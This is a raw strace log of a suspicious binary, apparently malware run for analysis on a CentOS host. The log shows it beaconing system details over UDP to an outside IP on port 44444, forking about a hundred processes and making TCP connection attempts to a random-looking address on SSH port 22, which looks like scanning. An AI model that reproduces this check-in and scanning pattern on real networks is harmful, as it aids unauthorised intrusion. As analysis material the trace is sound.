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- [root@CentOS tmp]# strace ./dtdss 22
- execve("./dtdss", ["./dtdss", "22"], [/* 21 vars */]) = 0
- uname({sys="Linux", node="CentOS", ...}) = 0
- brk(0) = 0x9495000
- brk(0x94b6000) = 0x94b6000
- uname({sys="Linux", node="CentOS", ...}) = 0
- rt_sigaction(SIGALRM, {0x804821c, [], SA_INTERRUPT}, {SIG_DFL, [], 0}, 8) = 0
- socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
- getpid() = 3400
- open("/etc/resolv.conf", O_RDONLY) = 4
- fstat64(4, {st_mode=S_IFREG|0644, st_size=38, ...}) = 0
- old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0xbfe0d91409a46018) = 0xb7fa7000
- read(4, "nameserver 8.8.8.8\nnameserver 8."..., 4096) = 38
- read(4, "", 4096) = 0
- close(4) = 0
- munmap(0xb7fa7000, 4096) = 0
- uname({sys="Linux", node="CentOS", ...}) = 0
- sendto(3, "DRS started on Linux CentOS 2.6."..., 43, 0, {sa_family=AF_INET, sin_port=htons(44444), sin_addr=inet_addr("195.69.220.2")}, 16) = 43
- close(3) = 0
- fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
- old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0xbfe0faa409a46018) = 0xb7fa7000
- write(1, "DRS started on Linux CentOS 2.6."..., 43DRS started on Linux CentOS 2.6.18-164.el5
- ) = 43
- write(1, "\n", 1
- ) = 1
- fork() = 3401
- fork() = 3402
- fork() = 3403
- fork() = 3404
- fork() = 3405
- fork() = 3406
- fork() = 3407
- fork() = 3408
- fork() = 3409
- fork() = 3410
- fork() = 3411
- fork() = 3412
- fork() = 3413
- fork() = 3414
- fork() = 3415
- fork() = 3416
- fork() = 3417
- fork() = 3418
- fork() = 3419
- fork() = 3420
- fork() = 3421
- fork() = 3422
- fork() = 3423
- fork() = 3424
- fork() = 3425
- fork() = 3426
- fork() = 3427
- fork() = 3428
- fork() = 3429
- fork() = 3430
- fork() = 3431
- fork() = 3432
- fork() = 3433
- fork() = 3434
- fork() = 3435
- fork() = 3436
- fork() = 3437
- fork() = 3438
- fork() = 3439
- fork() = 3440
- fork() = 3441
- fork() = 3442
- fork() = 3443
- fork() = 3444
- fork() = 3445
- fork() = 3446
- fork() = 3447
- fork() = 3448
- fork() = 3449
- fork() = 3450
- fork() = 3451
- fork() = 3452
- fork() = 3453
- fork() = 3454
- fork() = 3455
- fork() = 3456
- fork() = 3457
- fork() = 3458
- fork() = 3459
- fork() = 3460
- fork() = 3461
- fork() = 3462
- fork() = 3463
- fork() = 3464
- fork() = 3465
- fork() = 3466
- fork() = 3467
- fork() = 3468
- fork() = 3469
- fork() = 3470
- fork() = 3471
- fork() = 3472
- fork() = 3473
- fork() = 3474
- fork() = 3475
- fork() = 3476
- fork() = 3477
- fork() = 3478
- fork() = 3479
- fork() = 3480
- fork() = 3481
- fork() = 3482
- fork() = 3483
- fork() = 3484
- fork() = 3485
- fork() = 3486
- fork() = 3487
- fork() = 3488
- fork() = 3489
- fork() = 3490
- fork() = 3491
- fork() = 3492
- fork() = 3493
- fork() = 3494
- fork() = 3495
- fork() = 3496
- fork() = 3497
- fork() = 3498
- fork() = 3499
- fork() = 3500
- open("/dev/urandom", O_RDONLY) = 3
- fstat64(3, {st_mode=S_IFCHR|0444, st_rdev=makedev(1, 9), ...}) = 0
- ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfe0fa08) = -1 EINVAL (Invalid argument)
- old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0xbfe0fa8409a46018) = 0xb7fa6000
- read(3, "\373]\200\365z]\346\26\\\371j\355\241z\350\20\3\376\264\302\2\252\351=\2326\333\350\231pL\""..., 4096) = 4096
- close(3) = 0
- munmap(0xb7fa6000, 4096) = 0
- open("/dev/urandom", O_RDONLY) = 3
- fstat64(3, {st_mode=S_IFCHR|0444, st_rdev=makedev(1, 9), ...}) = 0
- ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfe0f9f8) = -1 EINVAL (Invalid argument)
- old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0xbfe0fa7409a46018) = 0xb7fa6000
- read(3, "$\305N\v\205J\201\354\215\16M\34\332\274\234\301\277\211]\323\311\316\4\22523x\253R\3744\301"..., 4096) = 4096
- close(3) = 0
- munmap(0xb7fa6000, 4096) = 0
- open("/dev/urandom", O_RDONLY) = 3
- fstat64(3, {st_mode=S_IFCHR|0444, st_rdev=makedev(1, 9), ...}) = 0
- ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfe0f9f8) = -1 EINVAL (Invalid argument)
- old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0xbfe0fa7409a46018) = 0xb7fa6000
- read(3, "#\362\311A\217\177\351\272\16\275\6\221\331}\375\332[\202\230\352\2\223h-|\251Es\0\313\221v"..., 4096) = 4096
- close(3) = 0
- munmap(0xb7fa6000, 4096) = 0
- open("/dev/urandom", O_RDONLY) = 3
- fstat64(3, {st_mode=S_IFCHR|0444, st_rdev=makedev(1, 9), ...}) = 0
- ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfe0f9f8) = -1 EINVAL (Invalid argument)
- old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0xbfe0fa7409a46018) = 0xb7fa6000
- read(3, "W\5\36\f\223\250\304\311\"\243\345~\2253u\224\234\200\0174Nh\335\303\364\3263\263\16h\276G"..., 4096) = 4096
- close(3) = 0
- munmap(0xb7fa6000, 4096) = 0
- socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
- alarm(1) = 0
- connect(3, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("95.35.36.252")}, 16) = ? ERESTARTSYS (To be restarted)
- --- SIGALRM (Alarm clock) @ 0 (0) ---
- sigreturn() = ? (mask now [])
- close(3) = 0
- open("/dev/urandom", O_RDONLY) = 3
- fstat64(3, {st_mode=S_IFCHR|0444, st_rdev=makedev(1, 9), ...}) = 0
- ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfe0fa08) = -1 EINVAL (Invalid argument)
- old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0xbfe0fa8409a46018) = 0xb7fa6000
- read(3, "\6;SH\302\342\253\340\375\224\357\355\343q\257\332\0202\265D\344\365:\27\\\33\360|\0\0322\221"..., 4096) = 4096
- close(3) = 0
- munmap(0xb7fa6000, 4096) = 0
- open("/dev/urandom", O_RDONLY) = 3
- fstat64(3, {st_mode=S_IFCHR|0444, st_rdev=makedev(1, 9), ...}) = 0
- ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfe0f9f8) = -1 EINVAL (Invalid argument)
- old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0xbfe0fa7409a46018) = 0xb7fa6000
- read(3, "\270\240\262\326\317\214\36\1\214\337\2177\314\3\222u\0\217,\354w\214&\323\211\322I\303\177>\344B"..., 4096) = 4096
- close(3) = 0
- munmap(0xb7fa6000, 4096) = 0
- open("/dev/urandom", O_RDONLY) = 3
- fstat64(3, {st_mode=S_IFCHR|0444, st_rdev=makedev(1, 9), ...}) = 0
- ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfe0f9f8) = -1 EINVAL (Invalid argument)
- old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0xbfe0fa7409a46018) = 0xb7fa6000
- read(3, "V\362\320\236(9\3[\24\10\204F\314\271x\\B\252\35wG\260F<\342K&\273x\326\277\217"..., 4096) = 4096
- close(3) = 0
- munmap(0xb7fa6000, 4096) = 0
- open("/dev/urandom", O_RDONLY) = 3
- fstat64(3, {st_mode=S_IFCHR|0444, st_rdev=makedev(1, 9), ...}) = 0
- ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfe0f9f8) = -1 EINVAL (Invalid argument)
- old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0xbfe0fa7409a46018) = 0xb7fa6000
- read(3, "i\220\347Q\200\226\360K\31\332\300\177\303\t\0\vHMq\252\216|\n`\203h[2}\t\325!"..., 4096) = 4096
- close(3) = 0
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